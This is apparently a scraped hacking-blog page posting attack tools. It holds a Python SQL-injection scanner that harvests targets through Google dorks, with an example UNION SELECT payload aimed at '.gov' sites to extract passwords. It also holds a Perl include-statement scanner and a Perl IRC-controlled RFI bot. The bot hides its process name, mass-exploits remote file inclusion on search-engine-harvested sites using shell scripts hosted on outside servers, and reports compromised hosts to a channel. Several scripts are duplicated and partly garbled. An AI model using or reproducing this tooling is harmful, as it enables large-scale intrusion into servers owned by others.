print "\n[-] Cancelled -",timer(),"\n"
sys.exit(1)
except():
pass
if len(sys.argv) < 6:
usage()
sys.exit(1)
for arg in sys.argv[1:]:
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1
if arg.lower() == "-w" or arg.lower() == "-write":
txt = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-s" or arg.lower() == "-sql":
sql = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-g" or arg.lower() == "-google":
query = sys.argv[int(sys.argv[1:].index(arg))+2]
num = sys.argv[int(sys.argv[1:].index(arg))+3]
title()
socket.setdefaulttimeout(10)
found_sql = []
count = 0
print "\n[+] SQL_scan Loaded"
try:
if verbose ==1:
print "[+] Verbose Mode On"
except(NameError):
verbose = 0
print "[-] Verbose Mode Off"
if sql[:1] != "/":
sql = "/"+sql
print "[+] SQL:",sql
try:
if txt:
print "[+] File:",txt
except(NameError):
txt = None
pass
try:
if num.isdigit() == False:
print "\n[-] Argument [",num,"] must be a number.\n"
sys.exit(1)
else:
if int(num) <= 10:
print "\n[-] Argument [",num,"] must be greater than 10.\n"
sys.exit(1)
except(IndexError):
print "\n[-] Need number of hosts to collect.\n"
sys.exit(1)
query = re.sub("\s","+",query)
print "[+] Query:",query
print "[+] Number:",num
print "[+] Querying Google..."
urls = geturls(query)
print "[+] Collected:",len(urls),"hosts"
print "[+] Started:",timer()
print "[+] Scanning hosts..."
print "\n[-] Cancel: Press Ctrl-C"
for url in urls:
tester(url)
time.sleep(3)
print "-"*65
print "\n\n[+] Potential SQL found:",len(found_sql),"\n"
time.sleep(3)
if txt != None and len(found_sql) >=1:
sql_file = open(txt, "a")
sql_file.writelines("\n\td3hydr8[at]gmail[dot]com SQL Scanner v1.0\n")
sql_file.writelines("\t------------------------------------------\n\n")
print "[+] Writing Data:",txt
else:
print "[-] No data written to disk"
for k in found_sql:
count+=1
if txt != None:
sql_file.writelines("["+str(count)+"] "+k+"\n")
print "\n["+str(count)+"]",k
print "\n[-] Done -",timer(),"\n"
#!/usr/bin/python
#SQL Scanner that will collect hosts using a google query. Will add the
#injection code to each host and search for md5 in the source.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import sys, urllib2, re, sets, time, socket, httplib
def title():
print "\n\t d3hydr8[at]gmail[dot]com SQL Scanner v1.0"
print "\t-----------------------------------------------"
def usage():
title()
print "\n Usage: python SQLscan.py
print "\n Example: python SQLscan.py -g inurl:'.gov' 200 -s '/index.php?offset=-1/**/UNION/**/SELECT/**/1,2,concat(password)/**/FROM/**/TABLE/*' -write sql_found.txt -v\n"
print "\t[options]"
print "\t -g/-google
print "\t -s/-sql
print "\t -w/-write
print "\t -v/-verbose : Verbose Mode\n"
def StripTags(text):
finished = 0
while not finished:
finished = 1
start = text.find("<")
if start >= 0:
stop = text[start:].find(">")
if stop >= 0:
text = text[:start] + text[start+stop+1:]
finished = 0
return text
def timer():
now = time.localtime(time.time())
return time.asctime(now)
def geturls(query):
counter = 10
urls = []
while counter < int(num):
url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'
opener = urllib2.build_opener(url)
opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
data = opener.open(url).read()
hosts = re.findall(('\w+\.[\w\.\-/]*\.\w+'),StripTags(data))
#Lets add sites found to a list if not already or a google site.
#We don't want to upset the people that got our list for us.
for x in hosts:
if x.find('www') != -1:
x = x[x.find('www'):]
if x not in urls and re.search("google", x) == None:
urls.append(x)
counter += 10
return urls
def tester(victim):
if victim[:7] != "http://":
victim = "http://"+victim.rsplit("/",1)[0]+sql
if verbose ==1:
print "Testing:",victim
try:
source = urllib2.urlopen(victim.rsplit("/",1)[0]+sql, "80").read()
md5s = re.findall("[a-f0-9]"*32,source)
if len(md5s) >= 1:
md5s = list(sets.Set(md5s))
print "\n[!] MD5 Found:",''.join([str(i) for i in victim.split("/",3)[:3]])[5:]
for md5 in md5s:
print "\t[",md5,"]\n"
found_sql.append(victim)
except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine):
pass
except(KeyboardInterrupt):
print "\n[-] Cancelled -",timer(),"\n"
sys.exit(1)
except():
pass
if len(sys.argv) < 6:
usage()
sys.exit(1)
for arg in sys.argv[1:]:
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1
if arg.lower() == "-w" or arg.lower() == "-write":
txt = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-s" or arg.lower() == "-sql":
sql = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-g" or arg.lower() == "-google":
query = sys.argv[int(sys.argv[1:].index(arg))+2]
num = sys.argv[int(sys.argv[1:].index(arg))+3]
title()
socket.setdefaulttimeout(10)
found_sql = []
count = 0
print "\n[+] SQL_scan Loaded"
try:
if verbose ==1:
print "[+] Verbose Mode On"
except(NameError):
verbose = 0
print "[-] Verbose Mode Off"
if sql[:1] != "/":
sql = "/"+sql
print "[+] SQL:",sql
try:
if txt:
print "[+] File:",txt
except(NameError):
txt = None
pass
try:
if num.isdigit() == False:
print "\n[-] Argument [",num,"] must be a number.\n"
sys.exit(1)
else:
if int(num) <= 10:
print "\n[-] Argument [",num,"] must be greater than 10.\n"
sys.exit(1)
except(IndexError):
print "\n[-] Need number of hosts to collect.\n"
sys.exit(1)
query = re.sub("\s","+",query)
print "[+] Query:",query
print "[+] Number:",num
print "[+] Querying Google..."
urls = geturls(query)
print "[+] Collected:",len(urls),"hosts"
print "[+] Started:",timer()
print "[+] Scanning hosts..."
print "\n[-] Cancel: Press Ctrl-C"
for url in urls:
tester(url)
time.sleep(3)
print "-"*65
print "\n\n[+] Potential SQL found:",len(found_sql),"\n"
time.sleep(3)
if txt != None and len(found_sql) >=1:
sql_file = open(txt, "a")
sql_file.writelines("\n\td3hydr8[at]gmail[dot]com SQL Scanner v1.0\n")
sql_file.writelines("\t------------------------------------------\n\n")
print "[+] Writing Data:",txt
else:
print "[-] No data written to disk"
for k in found_sql:
count+=1
if txt != None:
sql_file.writelines("["+str(count)+"] "+k+"\n")
print "\n["+str(count)+"]",k
print "\n[-] Done -",timer(),"\n"
Saturday, November 10, 2007
[PERL] Inclusion Scanner
#!/usr/bin/perl -w
unlink("results.html");
print "\n \n#Will check a directory for all includes and unsets \n";
print "#Coded by Ironfist (ironsecurity.nl) \n";
print "#Usage: create a folder in your perlfolder and put the files to be scanned in it, next type the folder name below (eg myfolder) \n";
print "#GIVES ERRORS WHEN CHECKING SUBFOLDERS: IGNORE THEM :) \n\n\n";
print "Directory to read? ";
$input =;
chop ($input);
@files = <$input/*>;
foreach $file (@files) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while()
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files2 = <$input/*/*>;
foreach $file (@files2) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while()
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files3 = <$input/*/*/*>;
foreach $file (@files3) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while()
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files4 = <$input/*/*/*/*>;
foreach $file (@files4) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while()
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files5 = <$input/*/*/*/*/*>;
foreach $file (@files5) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while()
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files6 = <$input/*/*/*/*/*/*>;
foreach $file (@files6) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while()
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files7 = <$input/*/*/*/*/*/*/*>;
foreach $file (@files7) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while()
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
print "Done! Check results.html for the found inclusions!";
#!/usr/bin/perl -w
unlink("results.html");
print "\n \n#Will check a directory for all includes and unsets \n";
print "#Coded by Ironfist (ironsecurity.nl) \n";
print "#Usage: create a folder in your perlfolder and put the files to be scanned in it, next type the folder name below (eg myfolder) \n";
print "#GIVES ERRORS WHEN CHECKING SUBFOLDERS: IGNORE THEM :) \n\n\n";
print "Directory to read? ";
$input =
chop ($input);
@files = <$input/*>;
foreach $file (@files) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while(
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files2 = <$input/*/*>;
foreach $file (@files2) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while(
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files3 = <$input/*/*/*>;
foreach $file (@files3) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while(
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files4 = <$input/*/*/*/*>;
foreach $file (@files4) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while(
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files5 = <$input/*/*/*/*/*>;
foreach $file (@files5) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while(
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files6 = <$input/*/*/*/*/*/*>;
foreach $file (@files6) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while(
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
@files7 = <$input/*/*/*/*/*/*/*>;
foreach $file (@files7) {
print "Checking: " .$file . "\n";
open(MYINPUTFILE, "$file");
while(
{
my($line) = $_;
chomp($line);
if(($line =~ m/include_once \$/i) || ($line =~ m/require_once \$/i) || ($line =~ m/include_once\(\$/i) || ($line =~ m/require_once\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/require\(\$/i) || ($line =~ m/require \$/i) || ($line =~ m/include \$/i) || ($line =~ m/include\(\$/i))
{
open(DAT,">>results.html") || die("Cannot Open File");
print DAT "FOUND: $line in $file
";
close(DAT);
}
}
}
print "Done! Check results.html for the found inclusions!";
RFI Bot - Scan created by PERL
#!/usr/bin/perl
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
###############CONFIGURATION###################
my $processo = "/usr/local/apache/bin/nscan -DSSL";
my $printcmd="http://geocities.com/alexlz_19/kewog.txt?"; #<---- Change this for your CMD
my $server="irc.server.org";
my $porta="6667";
my $nick="BOT-NAME";
my $chan="#channel";
###############END OF CONFIGURATION############
my $verbot = "2.0";
my $cmd="http://www.youthsoroca.md/php-nuke/foto/safe.jpg"; #Never change this
my $pid=fork;
exit if $pid;
$0="$processo"."\0"x16;
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);
print $sk "NICK $nick\r\n";
print $sk "USER Google 8 * : Google : google@google.it : Google :Google\r\n";
print $sk "JOIN $chan\r\n";
print $sk "PRIVMSG $chan :1,0[7S1,0can-Bot] Scan is 3ON1 : 12!scan \r\n";
while($line = <$sk>){
$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/)
{
print "PONG :$1";
print $sk "PONG :$1";
}
if ($line=~ /PRIVMSG $chan :.deletebot/){
stampa($sk, "QUIT");
}
if ($line=~ /PRIVMSG $chan :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my ($type,$space);
my %hosts;
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Started : $bug - Dork : $dork Engine : Google ");
stampa($sk, "PRIVMSG $chan :1,0[7G1,0oogle] Scanning now...");
my @glist=&google($dork);
stampa($sk, "PRIVMSG $chan :1,0[7M1,0sn] Scanning now...");
my @mlist=&msn($dork);
stampa($sk, "PRIVMSG $chan :1,0[7A1,0ltavista] Scanning now...");
my @alist=&altavista($dork);
stampa($sk, "PRIVMSG $chan :1,0[7L1,0ibero] Scanning now...");
my @llist=&libero($dork);
stampa($sk, "PRIVMSG $chan :1,0[7A1,0lltheweb] Scanning now...");
my @allist=&alltheweb($dork);
stampa($sk, "PRIVMSG $chan :1,0[7A1,0sk] Scanning now...");
my @asklist=&ask($dork);
stampa($sk, "PRIVMSG $chan :1,0[7U1,0ol] Scanning now...");
my @uollist=&uol($dork);
stampa($sk, "PRIVMSG $chan :1,0[7A1,0ol] Scanning now...");
my @aollist=&aol($dork);
push(my @tot, @glist, @ylist, @mlist, @alist, @llist, @allist,@asklist,@uollist,@aollist);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Total results : ".scalar(@tot)." Sites!");
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Cleaned results : ".scalar(@puliti)." Sites!");
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Exploting started ! ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %30==0){
}
my $test="http://".$sito.$bug.$cmd."?";
my $print="http://".$sito.$bug.$printcmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /31337/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$ker)=split(/\,/,$x);
stampa($sk, "PRIVMSG $chan :1,0[7S1afe4OFF1] 1,0[7S1ys4 ".$type."1] 1,0[7F1ree4 ".$space." 1] $print ");
stampa($sk, "PRIVMSG $chan :1,0[7I1nformation1]4 $ker ");
checksafemode("$print");}}
elsif($re =~ /31337/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$ker)=split(/\,/,$x);
stampa($sk, "PRIVMSG $chan :1,0[7S1afe3ON1] 1,0[7S1ys3 ".$type."1] 1,0[7F1ree3 ".$space." 1] $print ");
stampa($sk, "PRIVMSG $chan :1,0[7I1nformation1]3 $ker ");
checksafemode("$print");}}
}}}
exit;
}}}
sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
} else {
print $sk "$_[0]\n";
}}
sub os(){
my $sito=$_[0];
my $Res=query($sito);
my $type;
my $space;
my $ker;
my $str;
while($Res=~m/
OSTYPE:(.+?)\
/g){
$type=$1;
}
while($Res=~m/
Kernel:(.+?)\
/g){
$ker=$1;
}
while($Res=~m/
Free:(.+?)\
/g){
$space=$1;
}
$str=$type.",".$space.",".$ker;
return $str;
}
sub aol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=100;$b++){
my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
my $Res=query($AoL);
while($Res =~ m/
#!/usr/bin/perl
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
###############CONFIGURATION###################
my $processo = "/usr/local/apache/bin/nscan -DSSL";
my $printcmd="http://geocities.com/alexlz_19/kewog.txt?"; #<---- Change this for your CMD
my $server="irc.server.org";
my $porta="6667";
my $nick="BOT-NAME";
my $chan="#channel";
###############END OF CONFIGURATION############
my $verbot = "2.0";
my $cmd="http://www.youthsoroca.md/php-nuke/foto/safe.jpg"; #Never change this
my $pid=fork;
exit if $pid;
$0="$processo"."\0"x16;
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);
print $sk "NICK $nick\r\n";
print $sk "USER Google 8 * : Google : google@google.it : Google :Google\r\n";
print $sk "JOIN $chan\r\n";
print $sk "PRIVMSG $chan :1,0[7S1,0can-Bot] Scan is 3ON1 : 12!scan
while($line = <$sk>){
$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/)
{
print "PONG :$1";
print $sk "PONG :$1";
}
if ($line=~ /PRIVMSG $chan :.deletebot/){
stampa($sk, "QUIT");
}
if ($line=~ /PRIVMSG $chan :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my ($type,$space);
my %hosts;
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Started : $bug - Dork : $dork Engine : Google ");
stampa($sk, "PRIVMSG $chan :1,0[7G1,0oogle] Scanning now...");
my @glist=&google($dork);
stampa($sk, "PRIVMSG $chan :1,0[7M1,0sn] Scanning now...");
my @mlist=&msn($dork);
stampa($sk, "PRIVMSG $chan :1,0[7A1,0ltavista] Scanning now...");
my @alist=&altavista($dork);
stampa($sk, "PRIVMSG $chan :1,0[7L1,0ibero] Scanning now...");
my @llist=&libero($dork);
stampa($sk, "PRIVMSG $chan :1,0[7A1,0lltheweb] Scanning now...");
my @allist=&alltheweb($dork);
stampa($sk, "PRIVMSG $chan :1,0[7A1,0sk] Scanning now...");
my @asklist=&ask($dork);
stampa($sk, "PRIVMSG $chan :1,0[7U1,0ol] Scanning now...");
my @uollist=&uol($dork);
stampa($sk, "PRIVMSG $chan :1,0[7A1,0ol] Scanning now...");
my @aollist=&aol($dork);
push(my @tot, @glist, @ylist, @mlist, @alist, @llist, @allist,@asklist,@uollist,@aollist);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Total results : ".scalar(@tot)." Sites!");
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Cleaned results : ".scalar(@puliti)." Sites!");
stampa($sk, "PRIVMSG $chan :1,0[7S1,0can] Exploting started ! ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %30==0){
}
my $test="http://".$sito.$bug.$cmd."?";
my $print="http://".$sito.$bug.$printcmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /31337/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$ker)=split(/\,/,$x);
stampa($sk, "PRIVMSG $chan :1,0[7S1afe4OFF1] 1,0[7S1ys4 ".$type."1] 1,0[7F1ree4 ".$space." 1] $print ");
stampa($sk, "PRIVMSG $chan :1,0[7I1nformation1]4 $ker ");
checksafemode("$print");}}
elsif($re =~ /31337/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$ker)=split(/\,/,$x);
stampa($sk, "PRIVMSG $chan :1,0[7S1afe3ON1] 1,0[7S1ys3 ".$type."1] 1,0[7F1ree3 ".$space." 1] $print ");
stampa($sk, "PRIVMSG $chan :1,0[7I1nformation1]3 $ker ");
checksafemode("$print");}}
}}}
exit;
}}}
sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
} else {
print $sk "$_[0]\n";
}}
sub os(){
my $sito=$_[0];
my $Res=query($sito);
my $type;
my $space;
my $ker;
my $str;
while($Res=~m/
OSTYPE:(.+?)\
/g){
$type=$1;
}
while($Res=~m/
Kernel:(.+?)\
/g){
$ker=$1;
}
while($Res=~m/
Free:(.+?)\
/g){
$space=$1;
}
$str=$type.",".$space.",".$ker;
return $str;
}
sub aol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=100;$b++){
my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
my $Res=query($AoL);
while($Res =~ m/
http:\/\/(.+?)\<\/p>/g){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub google(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\(.+?)\<\/em>/g){
my $k=$1;
$k=~s///g;
$k=~s/<\/b>//g;
$k=~s/
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub altavista(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub msn(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub libero(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0,$pg=0; $i<=1000; $i+=10,$pg++)
{
my $Lib=("http://arianna.libero.it/search/abin/integrata.cgi?s=1&pag=".$pg."&start=".$i."&query=".key($key));
my $Res=query($Lib);
while($Res =~ m/\"]*)\//g){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub alltheweb()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $Res=query($all);
while($Res =~ m/http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub uol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
my $Res=query($UoL);
while($Res =~ m/\"]*)/g){
my $k=$1;
if($k!~/busca|uol|yahoo/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
sub links()
{
my @l;
my $link=$_[0];
my $host=$_[0];
my $hdir=$_[0];
$hdir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host.="/";
$link.="/";
$hdir.="/";
$host=~s/\/\//\//g;
$hdir=~s/\/\//\//g;
$link=~s/\/\//\//g;
push(@l,$link,$host,$hdir);
return @l;
}
sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}
sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}
sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}
sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}
| Finding PHP Vulnerabilities With Google Code Search Dangerous keywords in Google Search : it's keywords so dangerous...try it
|
Tuesday, November 06, 2007
How to Create Mail in 5 second
